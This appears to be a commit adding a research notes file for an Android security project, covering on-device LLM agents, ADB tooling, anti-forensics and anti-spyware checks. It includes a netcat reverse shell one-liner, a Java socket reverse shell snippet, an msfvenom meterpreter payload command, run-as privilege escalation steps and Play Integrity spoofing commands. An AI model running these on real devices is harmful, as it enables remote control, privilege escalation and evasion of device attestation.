Autarch Will Control The Internet
This commit is contained in:
293
autarch_companion/research.md
Normal file
293
autarch_companion/research.md
Normal file
@@ -0,0 +1,293 @@
|
||||
# Archon Research — Consolidated Findings
|
||||
## darkHal Security Group — Project AUTARCH
|
||||
**Last Updated:** 2026-02-20
|
||||
|
||||
---
|
||||
|
||||
## 1. On-Device LLM Engines
|
||||
|
||||
### SmolChat-Android (Recommended)
|
||||
- **Source:** https://github.com/shubham0204/SmolChat-Android
|
||||
- **License:** Apache 2.0
|
||||
- **Stack:** Kotlin + llama.cpp JNI bindings
|
||||
- **Key feature:** `smollm` module is an embeddable Android library — 2-class Kotlin API
|
||||
- **Model format:** GGUF (huge ecosystem on HuggingFace)
|
||||
- **Performance:** Auto-detects CPU SIMD, has ARMv8.4 SVE optimized builds
|
||||
- **Integration:** Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata
|
||||
- **What it doesn't have:** No tool-calling — we add that via Koog (below)
|
||||
- **Recommended models:** Qwen3-0.6B-Q4_K_M (tiny, fast) or SmolLM3-3B-Q4 (better quality)
|
||||
- **Status:** Best choice for inference engine. Embed `smollm` module into Archon.
|
||||
|
||||
### mllm
|
||||
- **Source:** https://github.com/UbiquitousLearning/mllm
|
||||
- **License:** MIT
|
||||
- **Stack:** C++20 custom engine
|
||||
- **Key feature:** Multimodal (vision + text — Qwen2-VL, DeepSeek-OCR), Qualcomm QNN NPU acceleration
|
||||
- **Model format:** Custom `.mllm` (must convert from HuggingFace, NOT GGUF)
|
||||
- **Drawback:** Much harder to integrate, custom format limits model selection
|
||||
- **Status:** Consider for future multimodal features (OCR scanning, photo analysis). Not for initial integration.
|
||||
|
||||
---
|
||||
|
||||
## 2. AI Agent Frameworks
|
||||
|
||||
### Koog AI (Recommended for Archon)
|
||||
- **Source:** https://docs.koog.ai/
|
||||
- **License:** Apache 2.0 (JetBrains)
|
||||
- **Stack:** Pure Kotlin, Kotlin Multiplatform — officially supports Android
|
||||
- **Key features:**
|
||||
- 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic)
|
||||
- First-class tool-calling with class-based tools (works on Android)
|
||||
- Agent memory, persistence, checkpoints, history compression
|
||||
- Structured output via kotlinx.serialization
|
||||
- GOAP planner (A* search for action planning — game AI technique)
|
||||
- MCP integration (discover/use external tools)
|
||||
- Multi-agent: agents-as-tools, agent-to-agent protocol
|
||||
- **Version:** 0.6.2
|
||||
- **Integration:** `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency
|
||||
- **Why it's the answer:** Native Kotlin, class-based tools on Android, GOAP planner maps perfectly to security workflows (Goal: "Protect device" → Actions: scan → identify → restrict → revoke)
|
||||
- **Status:** Best choice for agent layer. Combine with SmolChat for fully offline operation.
|
||||
|
||||
### SmolChat + Koog Combo
|
||||
- SmolChat provides the on-device inference engine (GGUF/llama.cpp)
|
||||
- Koog provides the agent framework (tools, planning, memory, structured output)
|
||||
- Together: fully autonomous, fully offline security AI agent on the phone
|
||||
- Implementation: define security tools as Koog class-based tools, wrap PrivilegeManager.execute() as execution backend
|
||||
|
||||
### GitHub Copilot SDK
|
||||
- **Source:** https://github.com/github/copilot-sdk
|
||||
- **License:** MIT (SDK), proprietary (CLI binary ~61MB)
|
||||
- **Stack:** Python/TypeScript/Go/.NET SDKs
|
||||
- **Key features:** BYOK mode (Ollama local), MCP integration, linux-arm64 binary exists
|
||||
- **Drawback:** CLI binary is closed-source proprietary. We already have our own LLM backends + MCP server. Adds another orchestration layer on top of what we built.
|
||||
- **Status:** Not needed. Our own agent system (core/agent.py + core/tools.py) is better tailored.
|
||||
|
||||
---
|
||||
|
||||
## 3. ADB Exploitation & Automation
|
||||
|
||||
### PhoneSploit-Pro
|
||||
- **Source:** https://github.com/AzeezIsh/PhoneSploit-Pro
|
||||
- **License:** GPL-3.0
|
||||
- **What:** Python ADB automation framework (40+ exploits/actions)
|
||||
- **Capabilities:** Screen capture, app management, file transfer, keylogging, device info dumping, network analysis, shell access, APK extraction, location spoofing
|
||||
- **Relevance:** Reference for ADB command patterns. Many of its techniques are already in our ShieldModule and HoneypotModule.
|
||||
- **Status:** Reference material. We implement our own versions with better safety controls.
|
||||
|
||||
---
|
||||
|
||||
## 4. Android Reverse Shell Techniques
|
||||
|
||||
### Technique 1: Java ProcessBuilder + Socket (Our Approach)
|
||||
```java
|
||||
// Connect back to server, pipe shell I/O over socket
|
||||
Socket socket = new Socket(serverIp, serverPort);
|
||||
ProcessBuilder pb = new ProcessBuilder("sh");
|
||||
Process process = pb.start();
|
||||
// Forward process stdin/stdout over socket
|
||||
```
|
||||
- **Privilege:** Runs at whatever UID the process has
|
||||
- **Our twist:** Run via `app_process` at UID 2000 (shell level)
|
||||
- **Advantage:** No external tools needed, pure Java, clean control flow
|
||||
|
||||
### Technique 2: Netcat + FIFO
|
||||
```bash
|
||||
mkfifo /data/local/tmp/f
|
||||
cat /data/local/tmp/f | sh -i 2>&1 | nc $SERVER_IP $PORT > /data/local/tmp/f
|
||||
```
|
||||
- **Requires:** `nc` (netcat) available on device
|
||||
- **Advantage:** Simple, works from any shell
|
||||
- **Disadvantage:** No auth, no encryption, no special commands
|
||||
|
||||
### Technique 3: msfvenom Payloads
|
||||
```bash
|
||||
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o payload.apk
|
||||
```
|
||||
- **Generates:** Standalone APK with Meterpreter payload
|
||||
- **Meterpreter types:** reverse_tcp, reverse_http, reverse_https
|
||||
- **Disadvantage:** Detected by AV, requires separate app install, no shell-level access, external Metasploit dependency
|
||||
- **Our approach is superior:** Already embedded in Archon, shell-level UID 2000, token auth, command safety blocklist
|
||||
|
||||
---
|
||||
|
||||
## 5. Android Privilege Escalation
|
||||
|
||||
### CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14)
|
||||
- **Disclosed by:** Meta security researchers
|
||||
- **Severity:** Critical — full root access on unpatched devices
|
||||
- **Affected:** Android 12, 13, 14 (patched in 14 QPR2 and Android 15)
|
||||
- **Mechanism:** The `run-as` command trusts package data from `/data/system/packages.list`. At shell level (UID 2000), we can exploit a TOCTOU race to make `run-as` switch to ANY UID, including UID 0 (root) or UID 1000 (system).
|
||||
- **Steps:**
|
||||
1. Shell can write to `/data/local/tmp/`
|
||||
2. Exploit the TOCTOU race in how `run-as` reads package info
|
||||
3. `run-as` runs as UID 2000 but switches context to target UID
|
||||
- **Archon action:** Detection module that checks if device is vulnerable. If so, can use for legitimate protection (installing protective system-level hooks that persist until reboot).
|
||||
|
||||
### Shell-Level Capabilities (UID 2000)
|
||||
Full command access without root:
|
||||
- `pm` — install, uninstall, disable, grant/revoke permissions
|
||||
- `am` — start activities, broadcast, force-stop processes
|
||||
- `settings` — read/write system, secure, global settings
|
||||
- `dumpsys` — dump any system service state
|
||||
- `cmd` — direct commands to system services (appops, jobscheduler, connectivity)
|
||||
- `content` — query/modify content providers (contacts, SMS, call log)
|
||||
- `service call` — raw Binder IPC (clipboard, etc.)
|
||||
- `input` — inject touch/key events (UI automation)
|
||||
- `screencap`/`screenrecord` — capture display
|
||||
- `svc` — control wifi, data, power, USB, NFC
|
||||
- `dpm` — device policy manager (remove device admins)
|
||||
- `logcat` — system logs
|
||||
- `run-as` — switch to debuggable app context
|
||||
|
||||
### What Shell CANNOT Do (Root Required)
|
||||
- Write to /system, /vendor, /product
|
||||
- `setenforce 0` (set SELinux permissive)
|
||||
- Access other apps' /data/data/ directly
|
||||
- Load/unload kernel modules
|
||||
- iptables/nftables (CAP_NET_ADMIN)
|
||||
- Mount/unmount filesystems
|
||||
|
||||
---
|
||||
|
||||
## 6. Anti-Forensics (Anti-Cellebrite)
|
||||
|
||||
Cellebrite UFED and similar forensic tools attack vectors:
|
||||
- ADB exploitation (need ADB enabled or USB exploit)
|
||||
- Bootloader-level extraction
|
||||
- Known CVE exploitation chains
|
||||
- Content provider dumping
|
||||
|
||||
### Shell-Level Defenses
|
||||
```bash
|
||||
# USB Lockdown
|
||||
svc usb setFunctions charging
|
||||
settings put global adb_enabled 0
|
||||
|
||||
# Detect Cellebrite (known USB vendor IDs, rapid content query storms)
|
||||
# Monitor USB events: /proc/bus/usb/devices
|
||||
|
||||
# Emergency data protection on forensic detection:
|
||||
# - Revoke all app permissions
|
||||
# - Clear clipboard (service call clipboard)
|
||||
# - Force-stop sensitive apps
|
||||
# - Disable USB debugging
|
||||
# - Change lock to maximum security
|
||||
```
|
||||
|
||||
### Architecture for Archon
|
||||
- Background monitoring thread: USB events + logcat
|
||||
- Forensic tool USB vendor ID database
|
||||
- Configurable responses: lockdown / alert / wipe sensitive / plant decoys
|
||||
- "Duress PIN" concept: specific PIN triggers data protection
|
||||
|
||||
---
|
||||
|
||||
## 7. Anti-Spyware (Anti-Pegasus)
|
||||
|
||||
NSO Group's Pegasus and similar state-level spyware use:
|
||||
- Zero-click exploits via iMessage, WhatsApp, SMS
|
||||
- Kernel exploits for persistence
|
||||
- Memory-only implants (no files on disk)
|
||||
|
||||
### Shell-Level Monitoring
|
||||
```bash
|
||||
# Suspicious process detection
|
||||
dumpsys activity processes | grep -i "pegasus\|chrysaor"
|
||||
|
||||
# Hidden processes (deleted exe links = classic implant pattern)
|
||||
cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted"
|
||||
|
||||
# Exploit indicators in logs
|
||||
logcat -d | grep -iE "exploit|overflow|heap|spray|jit"
|
||||
|
||||
# Unauthorized root checks
|
||||
ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null
|
||||
cat /sys/fs/selinux/enforce # 1=enforcing, 0=permissive
|
||||
|
||||
# Certificate injection (MITM)
|
||||
ls /data/misc/user/0/cacerts-added/ 2>/dev/null
|
||||
|
||||
# Known spyware package patterns
|
||||
pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier"
|
||||
```
|
||||
|
||||
### Archon Shield Integration
|
||||
- Periodic background scans (configurable interval)
|
||||
- Known C2 IP/domain database (updated from AUTARCH server)
|
||||
- Process anomaly detection (unexpected UIDs, deleted exe links)
|
||||
- Network connection monitoring against threat intel
|
||||
|
||||
---
|
||||
|
||||
## 8. Device Fingerprint Manipulation
|
||||
|
||||
### Play Integrity Levels
|
||||
1. **MEETS_BASIC_INTEGRITY** — Can be satisfied with prop spoofing
|
||||
2. **MEETS_DEVICE_INTEGRITY** — Requires matching CTS profile
|
||||
3. **MEETS_STRONG_INTEGRITY** — Hardware attestation (impossible to fake at shell level)
|
||||
|
||||
### Shell-Level Spoofing
|
||||
```bash
|
||||
# Android ID rotation
|
||||
settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16)
|
||||
|
||||
# Build fingerprint spoofing
|
||||
setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007:user/release-keys"
|
||||
setprop ro.product.model "Pixel 6 Pro"
|
||||
|
||||
# "Old device" trick (bypass hardware attestation requirement)
|
||||
setprop ro.product.first_api_level 28 # Pretend shipped with Android 9
|
||||
```
|
||||
|
||||
### Donor Key Approach
|
||||
- Valid attestation certificate chains from donor devices could theoretically be replayed
|
||||
- Keys are burned into TEE/SE at factory
|
||||
- Google revokes leaked keys quickly
|
||||
- Legally/ethically complex — research only
|
||||
|
||||
---
|
||||
|
||||
## 9. Samsung S20/S21 Specifics (TODO)
|
||||
|
||||
### JTAG/Debug Access
|
||||
- JTAG pinpoints and schematics for S20/S21 hardware debugging
|
||||
- Bootloader weakness analysis (Samsung Knox, secure boot chain)
|
||||
- Secureboot partition dumping techniques
|
||||
|
||||
### Hardening Guide
|
||||
- Samsung-specific security settings and Knox configuration
|
||||
- Tool section for Samsung devices
|
||||
|
||||
**Status:** Research needed — not yet documented.
|
||||
|
||||
---
|
||||
|
||||
## 10. Future: LLM Suite Architecture
|
||||
|
||||
### Recommended Stack
|
||||
```
|
||||
┌──────────────────────────────────────┐
|
||||
│ Koog AI Agent Layer │
|
||||
│ (tools, GOAP planner, memory) │
|
||||
├──────────────────────────────────────┤
|
||||
│ SmolChat smollm Module │
|
||||
│ (GGUF inference, llama.cpp JNI) │
|
||||
├──────────────────────────────────────┤
|
||||
│ Security Tools (Kotlin) │
|
||||
│ (ScanPackagesTool, │
|
||||
│ RestrictTrackerTool, etc.) │
|
||||
├──────────────────────────────────────┤
|
||||
│ PrivilegeManager │
|
||||
│ (ROOT/ARCHON_SERVER/ADB/NONE) │
|
||||
└──────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### Integration Steps
|
||||
1. Add `smollm` as module dependency (embeds llama.cpp JNI)
|
||||
2. Add `koog-agents` Gradle dependency
|
||||
3. Define security tools as Koog class-based tools
|
||||
4. Create "Security Guardian" agent with GOAP planner
|
||||
5. Can run fully offline (on-device GGUF) or via Ollama on AUTARCH server
|
||||
6. Agent autonomously monitors and responds to threats
|
||||
|
||||
**Status:** Future phase — implement after reverse shell is complete.
|
||||
Reference in New Issue
Block a user